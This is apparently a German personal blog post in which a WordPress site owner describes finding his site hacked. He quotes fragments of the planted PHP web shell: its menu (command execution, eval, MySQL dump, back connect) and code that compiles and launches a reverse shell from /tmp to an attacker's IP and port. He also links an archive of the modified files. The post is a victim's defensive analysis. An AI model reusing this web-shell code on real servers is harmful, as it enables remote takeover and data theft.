Der WordPress-Problem von Vorgestern ist ein Hack!
Neuste WordPress-Version und ich kann nichts dagegen machen, als Passwörter zu tauschen und die DB zu sichern. Verdammt.
Thread im WordPress.com Forum.
Nachtrag:
Hab es meinem Provider gemeldet für den Fall, dass es nicht WordPress-spezifisch ist, sondern die Lücke am Server an sich liegt.
Für alle, die sich die veränderten Dateien anschauen wollen: https://www.caracasa.de/files/hacked_files.tar.bz2
Das Reverse-engineeren ist gar nicht so einfach, wenn der Hacker alles Base64 kodiert und immer wieder verschachtelt mit eval interpretieren lässt.
Damn you php und all scripting-languages!
Nachtrag2:
Laut Code, Â kann der Hacker beliebige Dateien anfordern, ein Backup der MySQL-Datenbank machen, phpinfo() aufrufen, Befehle ausführen und beliebigen PHP-Code ausführen. Alles schön gesteuert über eine kleine Webseite mit Login über Javascript.
<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
<span style="white-space: pre;"> </span><a href="javascript:goaction('logout');">Logout</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('file');">File Manager</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('shell');">Execute Command</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('phpenv');">PHP Variable</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('eval');">Eval PHP Code</a>
<span style="white-space: pre;"> </span><?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
<span style="white-space: pre;"> </span></td> |
<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
<span style="white-space: pre;"> </span><a href="javascript:goaction('logout');">Logout</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('file');">File Manager</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('shell');">Execute Command</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('phpenv');">PHP Variable</a> |
<span style="white-space: pre;"> </span><a href="javascript:goaction('eval');">Eval PHP Code</a>
<span style="white-space: pre;"> </span><?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
<span style="white-space: pre;"> </span></td>
Der Kompiliert sich sogar was Nettes mit dem GCC
if ($use == 'perl') {
<div id="_mcePaste">cf('/tmp/angel_bc',$back_connect);</div>
<div id="_mcePaste">$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");</div>
<div id="_mcePaste">} else {</div>
<div id="_mcePaste">cf('/tmp/angel_bc.c',$back_connect_c);</div>
<div id="_mcePaste">$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');</div>
<div id="_mcePaste">@unlink('/tmp/angel_bc.c');</div>
<div id="_mcePaste">$res = execute("/tmp/angel_bc $yourip $yourport &");</div>
if ($use == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc $yourip $yourport &"); |
if ($use == 'perl') {
<div id="_mcePaste">cf('/tmp/angel_bc',$back_connect);</div>
<div id="_mcePaste">$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");</div>
<div id="_mcePaste">} else {</div>
<div id="_mcePaste">cf('/tmp/angel_bc.c',$back_connect_c);</div>
<div id="_mcePaste">$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');</div>
<div id="_mcePaste">@unlink('/tmp/angel_bc.c');</div>
<div id="_mcePaste">$res = execute("/tmp/angel_bc $yourip $yourport &");</div>
if ($use == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc $yourip $yourport &");
So richtig kompatibel mit der aktuellen WordPress-Version (2.9.2) scheint das Script ja nicht zu sein, wenn es sich mit den erwähnten Ausfällen bemerkbar macht.
Grad noch gefunden – ein Plugin für WordPress um Exploits zu finden:
http://wordpress.org/extend/plugins/exploit-scanner/
Das läuft gerade, aber die entsprechenden Dateien sind ja schon weg.
hier geht es weiter: Ich wurde gehackt 2